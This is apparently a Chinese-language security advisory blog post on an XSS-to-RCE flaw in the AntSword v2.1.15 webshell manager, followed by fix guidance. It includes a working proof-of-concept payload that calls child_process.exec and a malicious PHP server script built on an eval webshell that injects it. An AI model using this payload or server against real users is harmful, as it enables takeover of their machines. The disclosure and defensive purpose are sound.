2026年4月28日,安全圈曝出重磅预警——AntSword(中国蚁剑)v2.1.15 被发现高危漏洞。

攻击者可构造恶意服务端响应,实现 XSS 注入直接转为远程代码执行(RCE),用户只需轻点一下,本机就会被完全控制。

先看什么是蚁剑?
AntSword(中国蚁剑) 是一款开源跨平台的网站管理与渗透测试工具,基于 Electron 开发,广泛用于Webshell 管理、文件操作、数据库管理、虚拟终端等场景,是安全从业者、渗透测试人员常用的辅助工具,支持 PHP/ASP/ASPX/JSP 等多种脚本环境。

但也正因高权限、高频使用,一旦工具自身出现漏洞,极易被黑产利用,反噬使用者本地主机。
一、漏洞核心信息
– 漏洞来源:GitHub Issues #370
– 影响版本:AntSword v2.1.15
– 漏洞类型:XSS → RCE 任意代码执行
– 利用难度:极低,点击即触发
– 危害等级:高危

二、漏洞原理
漏洞根源在于 antSword.noxss() 过滤不完整,仅对 5 个基础字符做转义,未覆盖 [ ] ! ; : 等 jquery.terminal 格式码字符。
恶意服务端可注入构造好的脚本链接,绕过过滤后在虚拟终端渲染为可点击链接。
由于蚁剑基于 Electron 开发,且开启了 nodeIntegration: true ,一旦点击链接,可直接调用 Node.js API,执行任意系统命令,完全接管用户主机。
三、攻击流程
攻击者部署恶意服务端,注入含 javascript: 协议的 Payload
攻击流程(极简复现)
恶意 PHP 服务端构造 Payload:
[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]
蚁剑连接该服务端,打开虚拟终端执行任意命令;

$pass = 'test';if (!isset($_POST[$pass])) {http_response_code(404);exit;}$code = $_POST[$pass];if (!function_exists('get_magic_quotes_gpc')) {function get_magic_quotes_gpc() { return 0; }}$payload = '[[!;;;;javascript:void(require(`child_process`).exec(`calc`))]{Click here for phpMyAdmin}]';$b64payload = base64_encode("n" . $payload);$inject = 'echo base64_decode("' . $b64payload . '");';// 只在终端命令请求时注入 (包含 system/exec/passthru/popen 等命令执行函数)if (preg_match('/bsystemb|bexecb|bpassthrub|bpopenb|bshell_execb|bproc_openb/', $code)) {$code = str_replace('asoutput();', $inject . 'asoutput();', $code);}@eval($code);
四、官方修复方案
1. 首选方案:立即升级到 v2.1.16
2. 临时加固:扩展 noxss() 过滤规则,转义 [ 字符
最小改动(推荐)
扩展noxss()过滤字符集,转义[,阻断格式码解析:
noxss: (html = '', wrap = true) => {let _html = String(html).replace(/&/g, "&").replace(/'/g, "'").replace(/>/g, ">").replace(/</g, "<").replace(/"/g, """).replace(/[/g, "["); // 新增:阻断格式码if (wrap) {_html = _html.replace(/n/g, '<br/>');}return _html;}
3. 限制协议:仅放行 http/https,禁止 javascript:
4. 根治方案:关闭 nodeIntegration ,使用 contextBridge 安全隔离
五、安全建议
1. 立即停止使用 v2.1.15,升级到最新版 v2.1.16
2. 不连接不明、不可信的服务端
3. 虚拟终端内陌生链接一律不点击
4. 高频使用者按官方方案加固环境,降低权限风险
渗透工具是一把双刃剑,自身安全直接决定使用者风险。请所有蚁剑用户尽快自查更新,避免被反向控制!
作者:hacking。前北漂程序员,现在做安全。
文章数据来自网络,大模型优化,侵权删。
度假变噩梦!徐泽伟因美国网络入侵指控在意大利被扣,妻子:老人孩子还能等多久?
被指控网络入侵:中国徐泽伟在意大利被扣押的210天、或被引渡美国











暂无评论内容